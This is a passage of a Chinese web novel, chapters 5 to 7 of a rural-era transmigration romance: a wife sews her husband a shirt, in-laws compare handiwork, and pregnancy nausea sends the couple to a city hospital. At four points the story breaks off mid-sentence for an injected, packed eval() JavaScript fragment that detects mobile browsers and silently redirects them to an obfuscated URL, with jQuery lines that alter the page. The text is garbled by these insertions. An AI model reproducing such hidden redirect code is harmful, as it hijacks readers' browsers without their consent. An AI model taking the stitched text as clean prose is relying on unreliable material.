钱大山也不在意,继续道:“哥,不是我说你,你就不能好好说话么,明明是担心嫂子,听起却像是凶人,不怪嫂子要生气。”
江向东还是没理他。
钱大山撇撇嘴:“反正是你媳妇。”
鱼汤煮好后,还要炒个油渣青菜。
灶洞里的柴足够多,钱大山先把鱼汤端出去。
堂屋桌子上,红玉拿着铅笔在本子上画画,钱大山凑近一看,是一件衣服。
“嫂子,这是干啥呢?”
“画个稿子,免得做错了。”
做衣服与她而言很简单,她在成为老夫人身边的一等女使前,特意跟府中的绣娘学过女红。
只是没做过衬衣,不熟悉罢了。
钱大山回到灶房,小声对江向东道:“哥,嫂子心软得很,才和你吵了还要给你做衣服。”
又啧了声:“嫂子脾气真好,要是我,才不给你做……”
一只脚踹上了他的屁股。
江向东瞪他:“你话怎么这么多。”
鱼汤鲜美,江向东还往里面加了菌子,更是鲜上加鲜。
钱大山喝了口汤,对红玉道:“我小时候一次路过这儿,闻到鱼汤香味就站在门口不走了,伸着头使劲闻,江奶奶看见了,给我盛了碗鱼汤,那时候哥还不高兴呢。”
红玉诧异,江向东对自己人还挺大方的啊。
“那是我去捉来给奶吃的。”江向东冷冷道:“你一个人吃了一半。”
钱大山嘿嘿直笑,并不心虚。
一顿饭尽听钱大山说他和江向东小时候的事了。
以前原主不咋待见钱大山,钱大山就不讲,现在换成红玉,与江向东的关系有所改善,他就讲个不停。
讲他们一起去山上捡菌子,讲他们下河凫水差点淹死了,还讲有人要和钱大山争房子,是江向东和钱大山,以及另一个叫汤顺的人拿着刀守在门口。
江向东是父母离婚后,江奶奶带着他搬回老房子里住,直到江奶奶去世,江向东和原主结婚。
钱大山更惨,生下来就被扔了,生产队的老光棍把他捡回来养到十二三岁生病走了。
汤顺虽进城了,却也没好到哪里去。
听得多了,红玉仿佛看见了三个小男孩儿在田野间追逐打闹。
春去秋来,三人逐渐长大,成了现在的模样。
乡下不下地就比较清闲,红玉依然睡了个午觉,起来时江向东在堂屋砸栗子。
“我给你量下尺寸。”红玉道。
江向东放下手里的东西,见红玉拿出一根细布条,他迟疑:“用这个能行吗,要不我去借根软尺来?”
红玉没说话,只拉起细布条在江向东脖子上绕了一圈,量领围。
江向东还想说什么,布条陡然收紧。
他乖乖闭嘴了。
等到量肩宽的时候,红玉来到江向东的背后,江向东突然轻咳两声:“雨天路滑,我是怕你摔跤。”
肩宽量完,她来到正面,一边量胸围腰围一边开口,听着像是威胁人,实则更像是娇嗔。
“以后你再这么不分青红皂白地凶人……”
她抬眼看着江向东,没有把剩下的话说出来。
此刻的两人挨得很近很近,近到江向东能闻到红玉身上那若有似无的香味。
明明昨晚上两人挨得更近,他几乎是抱着红玉睡的,可昨晚上他并没有胡思乱想,现在,只一个对视,他就有些控制不住自己。
红玉诧异地发现江向东的脸渐渐红了起来,呼吸也有些重了。
她没吃过猪肉还没见过猪跑么,明白过来,她瞪江向东。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578410|187208||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
江向东也有点不好意思,但又觉得不能怪他。他是个正常男人,好不容易结婚了,活得像没结婚一样,还多了个人跟他吵架。
现在不知怎么的,红玉不跟他吵了,就连瞪他都和以前不一样,很好看。
尺寸量完了,红玉开始做衣服,江向东继续砸栗子。
一下又一下,很有力气,像是在发泄着什么。
“晚上,给顾明河送一包。”
不管是烤着吃蒸着吃还是煮着吃,味道都挺好。
灾荒年代,栗子是粮食,是要全村人一起去捡来分的。后来收成好些了,还是会去捡,谁会嫌粮食多,不过得悄悄去,不然就是占公家便宜。
近的野栗子一掉下来就被守在附近的小孩子捡走,今儿这个是江向东与钱大山跑了远地方才发现的。
“江向东?”
忽然,门外有人喊,红玉与江向东齐齐抬头,是江涛,手里提着一个篮子。
他把篮子递给走到门口的江向东:“爸出去捉的,让我给你们送几条来。”
江向东跟着奶奶搬出了江家,江涛却是跟着他妈田慧搬了进去,还改了姓,结婚后也没有搬出来。
刚跟着奶奶时江向东还小,下地干一天的活也只能拿到两三个公分,江奶奶年纪大了,挣不到什么公分,他们祖孙俩吃的粮食基本上都是他爸江有粮给的。
后来,随着江向东长大,地里的公分拿得越来越多,还能悄摸着从其他方面挣点钱,就只收他奶奶的那份。
奶奶去世后,就逢年过节过去吃一顿饭。
倒是红玉怀孕了,江有粮会时不时地送点东西过来,有时候是鸡蛋,有时候是鱼。
他都收了,这次也不例外。
正好中午红玉喝了两碗鱼汤,很喜欢的样子。
明明之前没那么喜欢。
.
江有梁家今晚上自然也是吃鱼。
田慧下午不太舒服,睡到傍晚才起来,吃饭时看见杂粮饭里有栗子:“哪来的栗子?”
江涛:“向东给的。”
有栗子吃很好,但想到是用好几条鱼换的,田慧又不高兴了。
她心下一动,问江涛:“你过去时他们在干嘛,还好么,没又吵架吧?”
江有粮闻言看向江涛。
江涛知道他妈是故意的,但这次他妈要失望了。
“没吵,江向东在砸栗子,他媳妇在给他做衣服。”
田慧的确失望了:“你怎么知道是在给向东做衣服,说不定是她自己的呢。”
江涛:“是深蓝色,应该也是在何婶那儿拿的。”
田慧一听,那江涛和江向东岂不是要穿一个颜色的衣服。
穿一个颜色的不打紧,关键是谁的衣服做得好,谁的衣服做得差。
林芝洗碗的时候,田慧过来小声叮嘱她这件衣服一定要好好做,千万不能比李红玉做得差。
林芝:“妈,你放心吧,红玉不怎么会做衣服。”
她其实也不怎么会,但肯定比红玉强。
回房,她和江涛说起这事,江涛回想他去江向东家时,李红玉正在裁剪料子,动作干脆利落,不像是新手。
“对了,他们真没吵架?”
林芝不太相信,红玉还有不和江向东吵架的时候,那不是太阳打西边出来了么。
江涛:“真没吵。”
不仅没吵,两口子瞧着还挺温馨的。
5. 005
连着晴了三四天,路终于是干了。
一早江向东就做好了饭――玉米碴子稀饭,炒青菜,还有红玉的鸡蛋羹。
红玉拿着勺子吃鸡蛋羹,加了一丁点的猪油和酱油,不腻还很香,前几天红玉都很喜欢吃,可今儿也不知道怎么回事,总吃不太下。
江向东瞅见了:“怎么了?”
红玉把鸡蛋羹端给江向东:“我吃不下,你吃吧,别浪费了。”
江向东眉头一皱:“你不舒服?”
红玉摇摇头,没哪里不舒服,就是突然吃不下鸡蛋羹,咸菜下稀饭她倒是能喝满满一大碗。
今儿她也要去上工,不吃饱点不行。
江向东观察红玉,见她精神头好,不像有哪里不舒服的样子才放下心来。
出门时,红玉道:“你换一件衣服吧,”
她拉起江向东的衣袖:“你看,这里这么长一条口子。”
其他地方也打满了补疤。
“去穿新衣服。”
衬衣前两天就做好了,江向东试了下,红玉觉得不错,她挺满意的。
江向东试完衣服后小心翼翼地把衣服叠起来,显然也是喜欢的。
“新衣服?”江向东不想穿:“我是去干农活,哪里用得着穿新衣服?”
红玉:“那你打算什么时候穿?”
江向东毫不犹豫:“出门再穿。”
乡下都这样,稍微好点的衣服都得留着出门做客时穿。
“有两件呢,”红玉道:“再说了,你看看你那些衣服,都烂成什么样了。”
虽然还没想到挣钱的法子,可红玉就是有股诡异的自信,她肯定能挣到钱,所以尽管她也有意在节约,但和江向东比起来,手松了太多。
不想再跟江向东争论,红玉直接去拿了一件出来:“穿上,也让大家伙看看我的手艺。”
一听这话,江向东顿时没那么犹豫了。
钱大山之前问他衣服做得怎么样,还说:“要是做得不好你可不能嫌弃,小心嫂子以后不给你做了。”
穿上衣服他在柜子前站了站,柜门上有块镜子,破了一半,能勉强照。
看着镜子里的自己,江向东决定空了去剪个头发,太长了,不精神。
“哇,衣服这么快就做好啦?”
刚出门,就遇到了何婶一家。何婶夸张地围着江向东转了一圈,扯了扯衣服,惊讶地对红玉道:“这衣服做得真好,看不出来你还有这个手艺。”
红玉也觉得好,可她没有表现出来,只道:“随便做了做,我还怕他穿出去丢人呢。”
何婶嗔她:“你这穿出去都丢人,那些把衣服做得两只袖子一边长一边短的不得去跳河呀。”
说着她又去看江向东身上的衣服,不住地夸:“该宽的宽,该窄的窄,比百货大楼里摆着的衣服还要有型。向东,你真是娶了个能干媳妇。换在过去,开个裁缝铺也没问题呀。”
红玉心中叹气,是啊,要是可以自己做生意,她开个成衣铺子也能挣钱。
他们到集合点没一会儿,江有粮一家到了。
林芝也在,她肚子八个月了,像塞了个球在肚子里,但乡下,把孩子生在地里的都多了去了,她想趁着能动就多挣点,就来做些轻巧的活。
“咦,江涛衣服这料子瞧着跟江向东衣服的一模一样。”有人眼尖,嘴还快。
人多,田慧没看见江向东,笑着道:“可能是一块料子裁下来的。”
江涛的衣服是昨天做好的,今天田慧就迫不及待地让江涛穿上了。
她不知道江向东的衣服做好没,她想着见到江涛的衣服做这么好,回头江向东两口子没准又得吵架。
就算不吵架,江涛比过了江向东她就高兴。
可她竟然听到众人在夸李红玉的手艺好。
“针脚密实,穿在身上板板正正的。”
“回头我做衣服的时候问问她是咋做的。”
“也不知道她会不会做裙子,我想给我闺女做件裙子,料子都买好了,怕做坏了一直没敢动手。”
林芝也听见了这些话,她不敢置信,红玉竟然能有这手艺?
活一样一样地分下去,集合点的人越来越少,林芝看见了江向东,以及他身上的衣服。
在这之前,林芝觉得这件衣服她做得很好,田慧特意叮嘱过她,加上前几天路滑,她就在家做做饭,很清闲,就做得很用心。
其实林芝这件衣服的确做得不错,乡下人是舍不得花钱请裁缝做衣服的,有那钱,都能多买几尺的布了。
可不是人人都有这个手艺,就像何婶说的,有的人把衣服袖子做得不一样长,有人不会裁剪,穿在身上歪七扭八。
林芝做的衣服没这些问题,江涛穿着也很合身。
只是两件衣服一样的料子,都做的衬衫,江向东和江涛身形还相似,穿在身上,哪件更好一目了然。
田慧也看见了,她同林芝嘀咕:“你不是说李红玉不会做衣服吗?”
林芝茫然,是啊,红玉是不怎么会做衣服的啊。
活分下来后,江向东就和红玉分开了。
他是身强力壮的男人,重活累活一般都是他们的,拿的公分也是最多的。
钱大山跟过来:“哥,这是嫂子做的衣服?”
江向东正要回答,旁边一个比他们大几岁的男人道:“怎么可能,这买的吧?”
“江向东能舍得给自己买成衣?”
“哈哈哈,他买布料都要捡便宜的买。”
江向东没说话,他们说的是事实,以前奶奶在时他的衣服是奶奶做,奶奶不在了,他会拿点东西让邻居何婶帮忙。
但这种情况很少,一套衣服他能穿很多年,说来他都好几年没穿新衣服了。
“就是嫂子做的衣服,”钱大山认出这是那天红玉去何婶家买的料子:“嫂子手艺也太好了吧。”
“真是他媳妇做的啊?”
“看不出来,他媳妇还挺有本事的。”
“嗨,当初你们还说李知青好看是好看,不能当媳妇呢。”
江向东往左扭头,看向说话的人,这人不会说话。
“啧,他媳妇都帮他做衣服了,看来这日子是过顺了,都不吵架了。”
语气颇为遗憾。
江向东往右扭头,看向说话的人,这人也不会说话。
钱大山:“吵架也不能怪嫂子啊,哥也有不对的地方。”
江向东吁气,这人最不会说话。
.
红玉和林芝都是孕妇,都被分到了捆菜的活。
他们这边土地肥沃,且在河边,不缺灌溉的水,就种了很多菜。
这些菜不是种来生产队的人吃的,生产队吃的菜都是自家自留地种的,这些菜是要送去城里卖的。
捆菜的活坐着就行,很适合孕妇以及腿脚不变的人。
不过虽说只要坐着就行,手上的活也不算很轻松,至少红玉觉得不轻松。
她在老夫人身边伺候,不要说成为一等女使后,就是二等时也没做过这等下苦力的活。
她以为她能适应,主要也是不得不适应,但做了两个小时,指甲缝里全是黄泥巴,她真心觉得原主那么执着地要回城,不是不能理解。
她捆菜都捆得头晕恶心了。
好不容易将送来的菜捆完,可以暂时歇一会儿了,红玉立马去边上找了个位置坐下。
林芝走过来:“红玉,你脸色有点白,没事吧?”
红玉摇摇头,可能就是累了。
两人自小一起长大,虽然有些别苗头,但大的矛盾没有。
林芝不知道原主喜欢过江涛。
她在旁边坐下,直截了当地问:“你怎么做的衣服,咋这么好?”
红玉
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578411|187208||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
没什么精神,懒懒道:“随便做做。”
林芝:……
她小小地哼了声:“做个衣服而已,还保密。”
红玉扭头:“先量尺寸,再裁剪,最后缝起来。”
林芝:……
红玉:“我再说细一点,你也听不懂。”
林芝有点生气,可当红玉真的说起如何做领子,如何打活褶,如何走针,她真的听不懂。
林芝瞪大了眼,看红玉的眼神充满了陌生:“你啥时候会这些了?”
这还是她认识的红玉吗。
红玉风淡云轻:“看看就会了,又不难。”
林芝:……
装模作样,这就是她认识的红玉!
人不太舒服,红玉越做越慢,分给别人的都快捆完了,她还剩一大篓。
林芝道:“等我这篓弄完了我来帮你一起捆。”
红玉拒绝,林芝也是孕妇还比她大两个多个月,忙了一上午也累,哪里能让林芝帮她。
林芝又道:“那你等江向东来帮你。”
说曹操曹操就到。
不是农忙时节,他们下工得比红玉他们要早。
但来人不只有江向东,还有江涛。
两人走在一起,哪件衣服好哪件衣服差越发明显。
林芝看了叹气:“回去江涛他妈肯定要念我了。”
都是嫁进江家做儿媳妇,以前林芝一直觉得她比红玉命好,江涛虽然不是江有粮的亲子,但跟亲子没差别,她嫁进去,有老人照应,多好啊。
红玉嫁的江向东,虽是江有粮的亲子,但早早独立出去,什么都得两人自己来。
然而真结婚了才知道当家做主的好,倒不是说公婆苛待她,就是终归没那么自在。
红玉也在看这对异父异母的兄弟俩,仅从容貌而言,如果说江向东像是战场上拼杀的士兵,那么江涛就更像是学堂里苦读的书生。
书生很俊朗,但士兵更有血性。
江向东远远就发现红玉脸色不对,他大步流星地过来:“你怎么了,哪里不舒服?”
红玉话都懒得说,她把位置让出来。
林芝的就剩一点了,她和江涛两下就弄完了,然后江涛过来和江向东一起捆。
江向东不想要江涛的帮忙,他对江家众人的态度是能不来往就不来往,但他想让红玉早点回家,就没说什么。
两个男人安静地忙碌着,林芝又凑到红玉身边:“你生孩子去哪儿生?”
红玉没听明白:“什么在哪生?”
林芝:“是去城里医院生,还是去公社卫生所,还是在家里?”
红玉毫不犹豫:“城里医院。”
女人生孩子,相当于一只脚踏进鬼门关,国公府里都有一个主子因为胎大难产去世。
没有条件就罢了,他们生产队到城里骑自行车要一个多点小时,不算太远,她手里也有钱,没有必要置自己于险境。
“我也想去城里生,就是……”她欲言又止,声音带着忧愁:“哎,还是没结婚的时候自由。”
一听就知道是顾虑田慧和江有粮,毕竟去医院生孩子肯定要花更多的钱。
红玉不觉得江向东是江有粮的亲子,江家的钱就有江向东的一份,加上林芝刚才想帮她,她男人江涛正在帮她,她给林芝出主意道:“你回去,装作不经意地把我要去城里医院生孩子的事说出来。”
她对田慧和江有粮了解得不多,但人嘛,或多或少都有一点攀比之心。
江向东都能让媳妇去城里生孩子,江涛不能,岂不是说明江涛不如江向东。
江有粮或许不会这么想,田慧就不一定了。
林芝不蠢,眼睛一亮。
两女人说话时没有压着声音,两男人听得一清二楚。
他们下意识地抬头,面面相觑,再低头捆菜。
还是捆菜吧。
6. 006
“我去城里医院生孩子你没意见吧?”
回去的路上,红玉问江向东,但就算江向东有意见她也不会听,事关她的安危,她只会听她自己的。
“没意见,”江向东道:“我本来就打算让你去城里生孩子。”
红玉挑眉:“真的?”
江向东点头:“隔壁生产队有个人在家里生孩子,生了三天三夜,大人差点没了不说,孩子在肚子憋太久,傻了。”
他遇见过那个女人,二十多的瞧着像四十多岁。
江向东:“再等两天,路再干点,我们再去城里检查看看!”
他不说,红玉也是这么打算的。
确定怀孕后,原主去城里医院检查过一次,该去第二次了。
家里唯一勉强算得上荤物的只有鸡蛋,可今儿早上的鸡蛋羹红玉就没吃,中午江向东就炒了个青菜,还煮了个菌子汤。
红玉没什么胃口,勉强吃了小半碗。
江向东神色严肃下来,红玉道:“可能有点感冒,睡一觉就好了。”
可午睡起来,红玉没有好转,反胃更严重了,还吐了一回,整个人晕乎乎的。
江向东坐不住了,要带红玉去公社的卫生所找医生看看。
红玉也怕肚子里的孩子有个什么,就答应了。
江向东有一辆自行车,总共青山生产队就没几辆自行车,但和其他人的自行车不一样,江向东的自行车相当于他自己组装的。
他先便宜买了一辆二手的坏得不能骑的自行车,后来去废品站买零件来换,是以他的自行车像是打了许多补疤的旧衣服,不过不影响使用。
虽然是骑自行车,但江向东怕路滑摔到红玉,就骑得很慢。
卫生所就在公社办公室旁边,他们到了,医生却不在。
江向东正要去找人问,办公室走出来一个人,冲江向东喊:“江向东。”
红玉回头,是一个四十来岁的男人,江向东喊他王主任。
王主任看眼红玉,对江向东说话的语气很熟捻:“这是你媳妇?”
“是,她怀孕了,不太舒服,来找医生看看。”担心红玉,江向东不免露出几分着急的神色:“但医生没在。”
王主任:“我帮你问问。”
说着便转身回办公室,不一会儿出来告诉他们医生下生产队给人看病去了,不确定什么时候回来。
江向东问红玉:“要不我们去城里?”
红玉沉吟:“算了,等一等就是。”
她自己的身体自己有感觉,除了有些头晕反胃,其他没什么不舒服,肚子也挺好的。
现在都下午了,赶去城里看了医生又得急匆匆地赶回来,天黑都不一定能到家,不安全。
卫生所门口放得有凳子,他们就在门口等。
王主任不知道去了哪儿,回来时给了他们一大把瓜子。
俗话说得好,官大一级压死人,这王主任不可能对每个人都这么亲近,而他这么对江向东,追其缘由,估计是江向东城里的那个继父。
这也能解释上次给陈教授他们当领队为何会找江向东。
都是在这片山里跑着长大的,能当领队的不只有江向东。
只是江向东因为他继父在公社领导这边留了名,有好事他们才能想到他。
等了一个小时,医生带着一个护士终于来了。
询问了红玉的症状,医生道:“你这个症状倒有些像是孕反。”
他问红玉怀孕前两三个月吐过没有。
红玉摇头,前几个月原主没有一点不舒服,但孕反不都是怀孕前期才会有的反应吗,她都五个月了。
乡下的医生多是赤脚大夫,什么都能看一点,但又什么都不精通,他只说有些人孕反是中期,还有极少数人会一直到生。
红玉咽了咽喉咙,希望她不要那么倒霉。
红玉怀着孕,医生不好开药,就让回去多休息,如果严重了就去城里医院看。
到家时间还早,见红玉似乎好转了点,江向东就去上工了,还能挣几个公分。
钱大山过来问他去哪儿了,得知红玉不舒服没胃口,他道:“嫂子不是爱喝鱼汤么,不如我们晚上去捉鱼。”
江向东迟疑:“能行吗?”
河里的鱼再不腥也是鱼,红玉连鸡蛋都吃不下,何况是鱼。
钱大山:“试试呗,万一能吃下呢。”
晚上,红玉是一点东西没吃,江向东没办法,突然想起陈教授给他的水果罐头,打开一个,是黄桃,红玉还真吃了两块,可也只能吃下两块。
天黑后,江向东提着桶去找钱大山。
红玉不太放心:“你们小心点。”
江向东回头,红玉站在门口。刚洗了澡,她穿了舒服柔软还轻薄的衣服,夜风一吹,衣服贴在身上,露出微微凸起的小腹。
好像突然肚子就大了起来,明明之前还很平。
钱大山在等着江向东,听到动静,他把门一拉就朝路口走去。
怕被人看见,两人没打火把,电筒那样的东西更是没有,好在有月亮,能瞧见一点。
钱大山动作这么快,江向东问:“你没锁门?”
钱大山大咧咧地道:“没锁,又没啥东西。”
江向东:“粮食呢?”
“装粮食那间屋肯定锁着的嘛。”钱大山嘿嘿笑:“哥,嫂子怎么样,好点没?”
“还是那样,”江向东沉声道:“也是奇怪,她之前都好好的,突然就有反应了。”
钱大山:“是不是今天上工累到了?”
江向东说不是,今儿早晨起来就不太对劲。他想好了,明天红玉要还不好转,就立马去城里。
在河边长大,他们经常来捉鱼,有一个老地方,没那么危险,鱼也不少,不然这晚上的,要是一个不小心掉进河里,可不是开玩笑的事。
这条河,几乎每年都有人把命丢在里面,或是捉鱼的大人,或是戏水的孩子。
这个老地方有点远,过河后要走二十多分钟。
江向东他们来到河边,正要走石桥,看见有人在河边躬着身子做什么。
江向东不怕,钱大山浑身一抖,吼了句:“谁?”
对方直起身,恰好乌云被风吹散,月光洒下来,是顾明河。
钱大山认出了顾明河
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578412|187208||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,知道他是下放的臭老九,转身就要走。
臭不臭老九的不关他的事,他过好自己的日子就成。
却见江向东往顾明河那边走了两步:“你来捡石子?”
顾明河声音带着点笑:“屋里已经铺满了,我多捡点,在门口铺条路。”
受人之托忠人之事,这些天江向东有注意顾明河的事,知道他又被拉去批斗了一次。
批斗更多的是从心理方面让人难受,不会挨打受伤,只要够稳得住,撑过去就没事了。
顾明河有心情和精神在门口铺路,可见批斗对他影响已经不像第一次那么大了。
江向东急着去捉鱼,没时间帮顾明河,他也不觉得需要帮。
先前,或许是生病也或许是太绝望,顾明河头发花白了,看着十分老气,现在头发还是花白的,但整个人年轻不少。
大男人一个,不至于捡点石子就要人帮忙。
江向东把钱大山介绍给顾明河认识,他总有顾不到的时候,钱大山能帮他搭个眼。
钱大山虽然奇怪江向东啥时候和顾明河这么熟,但他一向听江向东的话,江向东给他介绍,他就客客气气地跟人说话。
等过河后,他才问。
江向东也不瞒着他。
钱大山感慨:“陈教授挺有义气的。”
他和江向东不是亲兄弟胜似亲兄弟,就格外欣赏那些讲义气的人。
家里没有钟表,红玉不知道江向东什么时候回来的,反正她一觉醒来,人就将她揽在怀里。
她轻轻动了下,江向东几乎立刻就醒了,一边帮她盖被子一边含糊着问:“是不是哪里不舒服?”
“没有,”红玉闭上眼睛,嘴角微微扬起:“睡吧。”
再醒,就是第二天早上了。
江向东还是比她先起来,正在屋外的水沟旁杀鱼,红玉还没走近,江向东就道:“有腥味,你不要过来。”
红玉就不过去了,她去洗脸漱口,牙刷是很久之前买的了,有些刷毛都掉了。
去城里检查的时候得顺道买两根牙刷,江向东的牙刷刷毛掉得更厉害。
她还想买一块钟表,没有时间实在是太不方便了。
还有……
越想越焦虑,家里什么都缺,可他们手里的钱实在不多。
红玉洗漱完,鱼也处理好了,巴掌大小,一共两条。
她以为就捉到两条,去到厨房,发现水桶里还养着七八条。
依旧煮酸汤鱼,把酸菜炒出香味后加水,煮开后放鱼。
中途,江向东问灶洞前烧火的红玉有没有腥味。
红玉仔细闻了闻:“没有。”
只有鲜味,香味。
红玉暗自腹诽,她这孕反不会是馋的吧,有好吃的就不孕反。
江向东煮的是鱼汤面,酸汤鱼好了后,盛起来,把鱼单独挑出来,剩下的汤做为面汤下面。
这是红玉很喜欢的吃法,之前江涛送来的鱼,他们煮了晚上没吃完,第二天就拿来煮面。
然而这么好吃的面,红玉也只吃了几筷子。
两人商量了下,决定今天就去城里检查。
7. 007
公社有客车或者拖拉机到城里,但那是偶尔,且回来时就不一定有了,所以他们还是骑自行车去。
出发前,江向东打扫灶房,红玉去换了身出门的衣服。
先敬罗衣后敬人,便是生产队里最穷的人家,进城都要挑一件补疤少的呢。
红玉略过了那些穿着下地的衣服,上身选了一件碎花的斜襟长袖,下身是一条长裙。
长裙是原主上次回娘家李母给买的,长袖则是原主以前的衣服,原主嫌弃斜襟的样式不好看,就没怎么穿过,红玉却觉得挺好的。
再就是梳头发。
原主的头发又多又黑又亮又长,编成一股辫子太重,红玉编了两个辫子垂到胸前。
照镜子时,她从镜子里看到江向东站在门口一动不动,她回头:“你站着不动干嘛?”
江向东轻咳一声:“不干嘛,就问你好了没有?”
红玉收回视线:“马上。”
江向东就离开了。
他站在门口,看着远处的崇山峻岭,脑海里想的却是刚才红玉挺直的背影。
红玉生得高挑,那一身衣服穿在她身上把人衬
得纤细又窈窕,一看就是讲究的城里人,和这个土房子格格不入。
拿了足够的钱和票后,红玉锁好门,坐上自行车的后座。
这个时间正是集合上工的点,他们路过集合点时,江向东停下。
他要去给队长说他和红玉今天都不上工。
非农忙时节,管理不是那么严格,再者生产队队长是江向东的堂叔。
他见江向东与红玉骑着自行车,问他们去哪。
江向东:“去城里,红玉不太舒服,我们去医院检查看看。”
他们走后,一个婶子对田慧说:“江向东媳妇那肚子该有五个月了吧,咋会不舒服,是不是孩子有问题?”
田慧淡声:“能有啥问题。”
真有问题,李红玉还有心情打扮得这么好看?
啧,李红玉不知道咋回事,怎么好像越来越好看了呢。
这也就罢了,还要去城里生孩子,关键是江涛一听,说要让林芝也去城里生。
去城里生孩子多花钱啊。
田慧心疼钱,却又说不出不让林芝去城里生的话,江向东都能让媳妇去城里,她儿子比不过江向东?
她暗自生闷气,连带着对林芝这个儿媳妇也不那么满意了。
今日天气不错,太阳不晒,路旁还有高大的树木,微风迎面而来,凉幽幽地,很是舒服。
红玉怕摔,抱着江向东的腰,路上没啥人,她索性把脑袋靠着江向东的背。
“等看过医生,我去剪个头发。”她忽然道:“头发太长了,以后肚子大了不好洗。”
江向东声音飘散在风里:“我帮你洗。”
“你帮我洗我还是要剪,剪到肩膀那儿。”现在是到腰间,前世那是没有办法,必须留长头发,这时代又不是这样,自然是怎么舒服怎么来:“而且生完孩子后掉发会很厉害,剪短点应该会好一点。”
前世她见过一个女子,头发本来就不多,生产完后不知是伤了气血还是没调理好,头发掉得发髻都戴不上去。
等她生完,她得找个医生好好瞧瞧,她是想把头发剪短一点,可不是掉头发。
找医生必定要开药,还是调理身体的,估计便宜不到哪里去。
又要花钱,红玉情不自禁地叹了口气。
江向东听到了,问她:“怎么了?”
红玉随口:“去医院要花钱,心疼。”
江向东:“我带钱了,不用你的钱。”
红玉拍了下他的背,理直气壮地说:“你的钱不是家里的钱,不是我的钱?”
这样类似的话原主说过,但那时听在江向东耳中,只觉得李红玉是想要走他手里的钱,可现在听着,莫名地有种李红玉是真的要和他过日子的感觉。
江向东嘴角轻扬,骑车都更有力气了。
顾忌着红玉,江向东骑得慢,到医院时在大堂看见一个挂钟,已经九点半了。
挂好号,去医生办公室门外等着。
等的人挺多,有的肚子平平,完全看不出怀没怀孕,有的和红玉一样,肚子只有微微的凸起,还有的大得很了,怕是要不了多久就要生了。
中途,江向东去了趟厕所,巧的是他一走,就来了两个女同志,还坐在了红玉旁边。
她们和红玉搭话,问她是怀孕了吗。
红玉笑着道:“五个多月了。”
两人惊讶极了。
“你这肚子有五个多月,怎么可能?”
“我嫂子怀孕五个多月的时候,肚子大得不得了。”
红玉:“我肚子也大起来了,就是裙子看着不显而已。”
这裙子腰挺高,还不是垂顺下来的,而是微微向四周撒开,完全看不出她怀孕了。
一个女同志道:“我刚才就想问了,你这裙子在哪里买的,百货大楼吗,真好看,我也想去买一条。”
另一个道:“这衣服也好看,就是鞋子不太配,要是换成小皮鞋就好了。”
红玉有双小皮鞋,也是原主爸妈买的,可乡下是土路,穿小皮鞋不如布鞋舒服。
这时,江向东回来了。
没有位置坐,他就站在红玉旁边,把红玉手里拿着的水壶接了过去。
两个女同志看江向东一眼,问红玉:“他是?”
红玉没有错过她们脸上的嫌弃之色。
时下,城里的生活条件比乡下好太多,这就导致城里的很多人看不上乡下人。
红玉就罢了,她出门的穿着打扮比一些城里人还好,江向东就不行了,衣服虽然是新做的,但裤子前前后后都是补疤,鞋子更是一双草编的,且快坏了。
适才进医院,一个中年男人与江向东就要擦身而过,中年男人突然往旁边蹿了一大步,还用很嫌弃的眼神看江向东,好似江向东是什么脏东西。
江向东不是软柿子,恶狠狠地瞪了对方一眼,他身材高大,看着又凶,那人嘴角嗫喏了下就走了。
红玉没当回事,这种人太多了,但她也不会给这种人什么好脸色。
她敛了笑:“这是我男人。”
江向东垂眸,红玉裙摆有一处不知何时在哪蹭了点灰。
他蹲下,用袖子把灰擦掉。
红玉:“裙子是在沪市买的,这边估计没有。”
两个女同志不知是不想挨着他们,还是察觉到了红玉的冷淡,很快换了个位置坐。
江向东坐下,小声问:“你上次回去还去了沪市?”
“没有,”红玉喝了口水:“我骗她们的。”
原主娘家在苏城,离沪市不算远,一般也不会去。
江向东不理解:“骗她们?”
这有什么好骗的。
红玉笑笑,没解释。
到他们了,江向东先陪着红玉进去,一会儿要脱衣服检查再出来。
是原主第一次来检查时的女医生,她对红玉有印象,红玉一坐下她就道:“你是红玉,那个知青?”
红玉笑了笑,神情和缓,眉目自然
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 